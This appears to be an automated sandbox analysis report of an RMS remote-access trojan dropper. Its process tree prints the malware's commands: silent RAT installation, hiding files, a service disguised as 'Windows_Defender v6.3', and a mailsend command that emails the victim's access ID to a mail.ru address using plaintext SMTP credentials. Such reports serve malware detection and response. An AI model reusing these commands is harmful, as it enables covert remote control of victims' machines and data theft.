rms | 7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515

Analysis

max time kernel
143s
max time network
153s
platform
windows7_x64
resource
win7v20210410
submitted
04-05-2021 21:19

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General

Target

7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
Size

4.9MB
MD5

a45684d66edde7fe4b48cf93c4fcd515
SHA1

e21d87bd70302a3bf6d495264c2ee163944cf537
SHA256

7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515
SHA512

0892eb186b1128e7ec63c14db43cb56bb268fe68a3b6d072a49ea95ac86f96c296f2e075aaf09999a24dff47c8dc4e278c259ef3f2a566e360733fb086aad7bf

Score

10^/10

rms aspackv2 evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
C:\Program Files (x86)\System\vp8encoder.dll	acprotect
C:\Program Files (x86)\System\vp8decoder.dll	acprotect

ASPack v2.12-2.42 14 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242
C:\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
C:\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
C:\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
C:\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
C:\Program Files (x86)\System\rutserv.exe	aspack_v212_v242
\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242
\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242
C:\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242
C:\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242
C:\Program Files (x86)\System\rfusclient.exe	aspack_v212_v242

Executes dropped EXE 10 IoCs

Processes:

2.exe1.exerutserv.exerutserv.exerutserv.exerutserv.exerfusclient.exerfusclient.exemailsend.exerfusclient.exe

pid	process
1728	2.exe
280	1.exe
1684	rutserv.exe
268	rutserv.exe
596	rutserv.exe
1764	rutserv.exe
1716	rfusclient.exe
1692	rfusclient.exe
1588	mailsend.exe
368	rfusclient.exe

Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Program Files (x86)\System\vp8encoder.dll	upx
C:\Program Files (x86)\System\vp8decoder.dll	upx

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

440 cmd.exe
Loads dropped DLL 11 IoCs

Processes:

cmd.exe2.execmd.exerutserv.exe

pid process

1976 cmd.exe
1728 2.exe
1728 2.exe
1728 2.exe
440 cmd.exe
440 cmd.exe
440 cmd.exe
1764 rutserv.exe
1764 rutserv.exe
440 cmd.exe
440 cmd.exe

pid	process
440	cmd.exe

pid	process
1976	cmd.exe
1728	2.exe
1728	2.exe
1728	2.exe
440	cmd.exe
440	cmd.exe
440	cmd.exe
1764	rutserv.exe
1764	rutserv.exe
440	cmd.exe
440	cmd.exe

Drops file in Program Files directory 41 IoCs

Processes:

1.exe7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exeattrib.exeattrib.exeattrib.exeattrib.exereg.exeattrib.exeattrib.exeattrib.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	1.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	1.exe
File created	C:\Program Files (x86)\%appdata$\1.bat	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
File created	C:\Program Files (x86)\System\rutserv.exe	1.exe
File created	C:\Program Files (x86)\System\regedit.reg	1.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\%appdata$\2.exe	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
File created	C:\Program Files (x86)\System\vp8decoder.dll	1.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	1.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	1.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\%appdata$\1.bat	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
File opened for modification	C:\Program Files (x86)\System	1.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	1.exe
File opened for modification	C:\Program Files (x86)\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	reg.exe
File created	C:\Program Files (x86)\%appdata$\__tmp_rar_sfx_access_check_259271711	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
File opened for modification	C:\Program Files (x86)\Common Files\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	1.exe
File created	C:\Program Files (x86)\System\install.vbs	1.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	1.exe
File created	C:\Program Files (x86)\System\vp8encoder.dll	1.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	1.exe
File created	C:\Program Files (x86)\System\mailsend.exe	1.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File created	C:\Program Files (x86)\System\id.txt	reg.exe
File created	C:\Program Files (x86)\%appdata$\2.exe	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
File created	C:\Program Files (x86)\System\install.bat	1.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File created	C:\Program Files (x86)\System\rfusclient.exe	1.exe
File created	C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_259273583	1.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	attrib.exe
File opened for modification	C:\Program Files (x86)\%appdata$	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

972 timeout.exe
1896 timeout.exe
1640 timeout.exe

pid	process
972	timeout.exe
1896	timeout.exe
1640	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

xcopy.exexcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2012 taskkill.exe
1620 taskkill.exe
1744 taskkill.exe
2004 taskkill.exe
Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

1156 regedit.exe

pid	process
2012	taskkill.exe
1620	taskkill.exe
1744	taskkill.exe
2004	taskkill.exe

pid	process
1156	regedit.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exerfusclient.exemailsend.exe

pid	process
1684	rutserv.exe
1684	rutserv.exe
1684	rutserv.exe
1684	rutserv.exe
268	rutserv.exe
268	rutserv.exe
596	rutserv.exe
596	rutserv.exe
1764	rutserv.exe
1764	rutserv.exe
1764	rutserv.exe
1764	rutserv.exe
1716	rfusclient.exe
1588	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

rfusclient.exe

pid process

368 rfusclient.exe

pid	process
368	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exerutserv.exerutserv.exerutserv.exe

description	pid	process
Token: SeDebugPrivilege	2012	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	1744	taskkill.exe
Token: SeDebugPrivilege	2004	taskkill.exe
Token: SeDebugPrivilege	1684	rutserv.exe
Token: SeDebugPrivilege	596	rutserv.exe
Token: SeTakeOwnershipPrivilege	1764	rutserv.exe
Token: SeTcbPrivilege	1764	rutserv.exe
Token: SeTcbPrivilege	1764	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

rutserv.exerutserv.exerutserv.exerutserv.exe

pid process

1684 rutserv.exe
268 rutserv.exe
596 rutserv.exe
1764 rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.execmd.exe2.exe1.exeWScript.execmd.exe

description	pid	process	target process
PID 2040 wrote to memory of 1976	2040	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe	cmd.exe
PID 2040 wrote to memory of 1976	2040	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe	cmd.exe
PID 2040 wrote to memory of 1976	2040	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe	cmd.exe
PID 2040 wrote to memory of 1976	2040	7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe	cmd.exe
PID 1976 wrote to memory of 1728	1976	cmd.exe	2.exe
PID 1976 wrote to memory of 1728	1976	cmd.exe	2.exe
PID 1976 wrote to memory of 1728	1976	cmd.exe	2.exe
PID 1976 wrote to memory of 1728	1976	cmd.exe	2.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 1728 wrote to memory of 280	1728	2.exe	1.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 280 wrote to memory of 1336	280	1.exe	WScript.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 1336 wrote to memory of 440	1336	WScript.exe	cmd.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1188	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1116	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 596	440	cmd.exe	xcopy.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1552	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe
PID 440 wrote to memory of 1796	440	cmd.exe	attrib.exe

Views/modifies file attributes 1 TTPs 7 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

1648 attrib.exe
1852 attrib.exe
1552 attrib.exe
1796 attrib.exe
596 attrib.exe
524 attrib.exe
1016 attrib.exe

pid	process
1648	attrib.exe
1852	attrib.exe
1552	attrib.exe
1796	attrib.exe
596	attrib.exe
524	attrib.exe
1016	attrib.exe

C:\Users\Admin\AppData\Local\Temp\7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe
"C:\Users\Admin\AppData\Local\Temp\7ef66146ae2b92c2de05e426e5751c8e699a82447eceb5d687ffe548fdc87515.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\%appdata$\1.bat" "
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1976

C:\Program Files (x86)\%appdata$\2.exe
2.exe -p12345
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1728

C:\Users\Admin\AppData\Roaming\1.exe
"C:\Users\Admin\AppData\Roaming\1.exe"
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:280

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
5⤵
- Suspicious use of WriteProcessMemory
PID:1336

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\System\install.bat" "
6⤵
- Deletes itself
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:440

C:\Windows\SysWOW64\xcopy.exe
xcopy /Y "C:\Users\Admin\AppData\Roaming\000.cfg" "C:\Users\Admin\Downloads\"
7⤵
- Enumerates system info in registry
PID:1188

C:\Windows\SysWOW64\xcopy.exe
xcopy /Y "C:\Users\Admin\AppData\Roaming\OTC.dll" "C:\Users\Admin\Downloads\"
7⤵
- Enumerates system info in registry
PID:1116

C:\Windows\SysWOW64\xcopy.exe
xcopy /Y "C:\Users\Admin\AppData\Roaming\VAC-Bypass-Loader.exe" "C:\Users\Admin\Downloads\"
7⤵
- Enumerates system info in registry
PID:596

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System" +H +S /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1552

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1796

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im rutserv.exe
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Windows\SysWOW64\taskkill.exe
Taskkill /f /im rutserv.exe
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im rfusclient.exe
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1744

C:\Windows\SysWOW64\taskkill.exe
Taskkill /f /im rfusclient.exe
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2004

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
7⤵
PID:1124

C:\Windows\SysWOW64\regedit.exe
regedit /s "regedit.reg"
7⤵
- Runs .reg file with regedit
PID:1156

C:\Windows\SysWOW64\timeout.exe
timeout 1
7⤵
- Delays execution with timeout.exe
PID:972

C:\Program Files (x86)\System\rutserv.exe
rutserv.exe /silentinstall
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1684

C:\Program Files (x86)\System\rutserv.exe
rutserv.exe /firewall
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:268

C:\Program Files (x86)\System\rutserv.exe
rutserv.exe /start
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:596

C:\Windows\SysWOW64\sc.exe
sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
7⤵
PID:1156

C:\Windows\SysWOW64\sc.exe
sc config RManService obj= LocalSystem type= interact type= own
7⤵
PID:1336

C:\Windows\SysWOW64\sc.exe
sc config RManService DisplayName= "Windows_Defender v6.3"
7⤵
PID:1528

C:\Windows\SysWOW64\timeout.exe
timeout 1
7⤵
- Delays execution with timeout.exe
PID:1896

C:\Windows\SysWOW64\reg.exe
reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
7⤵
- Drops file in Program Files directory
PID:1548

C:\Windows\SysWOW64\timeout.exe
timeout 1
7⤵
- Delays execution with timeout.exe
PID:1640

C:\Program Files (x86)\System\mailsend.exe
mailsend.exe -t lucky999111@mail.ru -attach id.txt,application/txt -sub "RMS" -smtp smtp.mail.ru -port 465 -f rms000rms1@mail.ru -name "RMS" -ssl -auth-login -user rms000rms1 -pass rmsqwermsqwe -q
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1588

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:596

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:524

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1016

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1648

C:\Windows\SysWOW64\attrib.exe
attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
7⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1852

C:\Program Files (x86)\System\rutserv.exe
"C:\Program Files (x86)\System\rutserv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1764

C:\Program Files (x86)\System\rfusclient.exe
"C:\Program Files (x86)\System\rfusclient.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1716

C:\Program Files (x86)\System\rfusclient.exe
"C:\Program Files (x86)\System\rfusclient.exe" /tray
3⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:368

C:\Program Files (x86)\System\rfusclient.exe
"C:\Program Files (x86)\System\rfusclient.exe" /tray
2⤵
- Executes dropped EXE
PID:1692

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\%appdata$\1.bat
MD5
73de38c74166eb23555bb3d9522aae73

SHA1
ae16966c178ff25cb93fab49a29ea74de4438808

SHA256
050ae98f55a4bc3f693f7cebdf29fd245f88bfb8b7548aa98b876f5ec910d9f6

SHA512
b1316472495d411f96a7964a77d1679349ac8f1a4044c85a6c62e2ba93ff872464b69ec882815958190e85bd6eb468cf06071ce87fa3c381d00845a0cdee80c5

Download Submit
C:\Program Files (x86)\%appdata$\2.exe
MD5
35601703ada5c7ecd4f77d8927bbf7e3

SHA1
dc153c373353d511c31e2eb2528434d04a767939

SHA256
24ea4a81d1cd495ff4e5dde85e0c81cf98212a37825e5f8bd2f6c9b64db00b75

SHA512
48ca2b26efc6cccea009594a2f3cbfc2f8742f7fd3feaf04f13a7bbd53963ba1dd69d4d9cfbdd3a44c9afc56b7e30cf7bc603c3ad97b17223c6c6a120da2b225

Download Submit
C:\Program Files (x86)\%appdata$\2.exe
MD5
35601703ada5c7ecd4f77d8927bbf7e3

SHA1
dc153c373353d511c31e2eb2528434d04a767939

SHA256
24ea4a81d1cd495ff4e5dde85e0c81cf98212a37825e5f8bd2f6c9b64db00b75

SHA512
48ca2b26efc6cccea009594a2f3cbfc2f8742f7fd3feaf04f13a7bbd53963ba1dd69d4d9cfbdd3a44c9afc56b7e30cf7bc603c3ad97b17223c6c6a120da2b225

Download Submit
C:\Program Files (x86)\System\id.txt
MD5
ffdc8946934de7d6142cf3318a793943

SHA1
012ba5de8d459acb7fc34886b01e2e1994386734

SHA256
6f5c64e0f0c2683d4176cc0ce2178f33d71e7c699ad6cd71cd8b451c1408b514

SHA512
f55fc8bc5d40bcc785a2f51be1edbcc6a9b556de4eee7ddeae8bd07ddc22d971bfde6f829aa63691330dbfc3d348b74ff704e6d8772d4644a2277c0eefbe96c4

Download Submit
C:\Program Files (x86)\System\install.bat
MD5
8b4719ec72632e1e52d890eb17f34265

SHA1
8240cc36ea267b83ac452a3740a6f3cf9f3f8835

SHA256
ef277135f51c605c747c3ef5d455fd92436e920d8e596d3c80be17649528c7ad

SHA512
27bd66a3b0115d640e8406668e19856b8a5273ba5426064a6c0f63b43dfc3d5d128b28899d9f359c93bd95ce5d873bfdb70954d77a2b7cb13b6bdb849e26fb5c

Download Submit
C:\Program Files (x86)\System\install.vbs
MD5
c719a030434d3fa96d62868f27e904a6

SHA1
f2f750a752dd1fda8915a47b082af7cf2d3e3655

SHA256
2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

SHA512
47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

Download Submit
C:\Program Files (x86)\System\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files (x86)\System\mailsend.exe
MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files (x86)\System\regedit.reg
MD5
251212852a073e6fc5fbe3af92f66adb

SHA1
6ee07cb20f57830325c11867e68fea49ae0e87ea

SHA256
f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

SHA512
f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

Download Submit
C:\Program Files (x86)\System\rfusclient.exe
MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rfusclient.exe
MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rfusclient.exe
MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rfusclient.exe
MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\rutserv.exe
MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\vp8decoder.dll
MD5
88318158527985702f61d169434a4940

SHA1
3cc751ba256b5727eb0713aad6f554ff1e7bca57

